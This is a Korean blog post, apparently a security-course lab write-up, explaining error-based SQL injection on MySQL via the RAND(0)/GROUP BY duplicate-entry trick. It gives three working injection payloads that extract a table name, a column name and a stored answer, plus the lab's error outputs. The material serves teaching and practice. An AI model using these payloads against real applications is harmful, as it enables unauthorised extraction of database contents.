| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 동적분석
- linux
- sk쉴더스 루키즈
- sk 쉴더스
- 레나튜토리얼
- top-cert
- 악성코드 분석
- 리버싱
- React
- Dreamhack
- 위상 정렬
- sk 쉴더스 루키즈 31기
- 예술의 전당
- 우아한테크코스
- 자바
- 알고리즘
- 루키즈31기
- 백엔드
- SK쉴더스루키즈
- Practical Malware Analysis Labs
- 웹개발
- 레나 튜토리얼
- 프리코스
- webhacking
- 깃
- 루키즈 31기
- 루키즈
- 우테코
- sk 쉴더스 루키즈
- c
- Today
- Total
yon11b
[SK 쉴더스 루키즈] Error Based SQL Injection(MySQL) 본문
RAND() + GROUP BY -> Duplicate entry 에러를 이용하는 방식
테이블명 구하기
Oracle에서는 rownum을 사용했다면, MySQL에서는 편리하게 LIMIT 기능을 이용하면 된다.
qw%' AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT(0x3a,
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0, 1), 0x3a, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x) a) AND '%'='
쿼리문 해석
1. 공격 목적
현재 DB의 첫 번째 테이블명을 에러 메시지에 출력시키는 Error-based SQL Injection 기법이다.
결과 화면에 데이터를 출력하는 것이 아니라 DB 에러 메시지에 원하는 값을 포함시켜 노출시킨다.
2. 테이블명 가져오기
SELECT table_name
FROM information_schema.tables
WHERE table_schema = database()
LIMIT 0,1
현재 사용 중인 DB의 첫 번째 테이블명을 가져온다. 예: member
- 첫번째 테이블명 가져오기: limit 0,1
- 두번째 테이블명 가져오기: limit 1,1
- 세번째 테이블명 가져오기: limit 2,1
3. 에러 메시지에 넣을 문자열 생성
CONCAT(
0x3a,
'member',
0x3a,
FLOOR(RAND(0)*2)
)
0x3a는 : 문자이다.
예:
:member:0
:member:1
4. GROUP BY와 그룹키
GROUP BY는 같은 값을 가진 행들을 하나의 그룹으로 묶는다.
예를 들어 member 테이블이 다음과 같다고 하자.
| name | age |
| kim | 20 |
| lee | 20 |
| park | 30 |
| choi | 30 |
| hong | 40 |
SELECT age, COUNT(*)
FROM member
GROUP BY age;
결과
| age | count |
| 20 | 2 |
| 30 | 2 |
| 40 | 1 |
이때 MySQL은 내부적으로 대략 이렇게 그룹을 관리한다.
그룹키 20 → 2명
그룹키 30 → 2명
그룹키 40 → 1명
여기서
20
30
40
이 그룹키(group key)이다.
즉,
GROUP BY age
이면 age 값이 그룹키가 된다.
5. 이 쿼리에서의 그룹키
문제의 쿼리는
GROUP BY x
를 사용한다.
여기서 x는
CONCAT(':', table_name, ':', FLOOR(RAND(0)*2))
의 결과이다.
예:
:member:0
:member:1
따라서 MySQL은 내부적으로
그룹키 ':member:0'
그룹키 ':member:1'
를 생성한다.
6. RAND(0)의 역할
FLOOR(RAND(0)*2)
RAND(0)은 seed가 고정된 난수 함수이다.
따라서 실행할 때마다 동일한 난수 순서가 생성된다.
예:
0
1
1
0
1
...
7. Duplicate Entry 에러 발생
예전 MySQL에서는 RAND(0)과 GROUP BY를 같이 사용할 경우,
:member:1
이라는 그룹키가 이미 존재하는데,
다시
:member:1
그룹을 생성하려고 시도하면서 충돌이 발생할 수 있었다.
결과:
Duplicate entry ':member:1' for key 'group_key'
8. 왜 이게 정보 유출인가?
에러 메시지 안에 member가 포함되어 있다.
즉 원래 보고 싶었던 테이블명이 그대로 노출된다.
예:
Duplicate entry ':member:1' for key 'group_key'
↓
테이블명 = member
획득 성공.

limit 다음 숫자값을 1부터 하나씩 증가시켜가며 에러 메시지를 확인해보면 된다.
limit 3,1일 때 다음 메시지가 뜬다.
등록된 게시물이 없습니다. error code : [1062] Duplicate entry ':eqst_answer:1' for key 'group_key'
컬럼명 구하기
qw%' AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT(0x3a,
(SELECT column_name FROM information_schema.columns
WHERE table_name='eqst_answer' LIMIT 0, 1), 0x3a, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x) a) AND '%'='
등록된 게시물이 없습니다. error code : [1062] Duplicate entry ':answer_column:1' for key 'group_key'
정답 구하기
qw%' AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT(0x3a, (SELECT answer_column
FROM eqst_answer LIMIT 0, 1), 0x3a, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x) a) AND '%'='
등록된 게시물이 없습니다. error code : [1062] Duplicate entry ':skinfosec_eqst_lms_system:1' for key 'group_key'
정답: skinfosec_eqst_lms_system
'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] Blind SQL Injection(Oracle 컬럼명 탈취) (0) | 2026.06.25 |
|---|---|
| [SK 쉴더스 루키즈] Blind SQL Injection(MySQL USER명 탈취) (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] Error Based SQL Injection(Oracle), +Burp Suite 로 푸는 방법 (0) | 2026.06.23 |
| [SK 쉴더스 루키즈] UNION SQL Injection (Oracle, SQLite, MySQL) (0) | 2026.06.22 |
| [SK 쉴더스 루키즈] OLE 구조 분석 (1) | 2026.06.15 |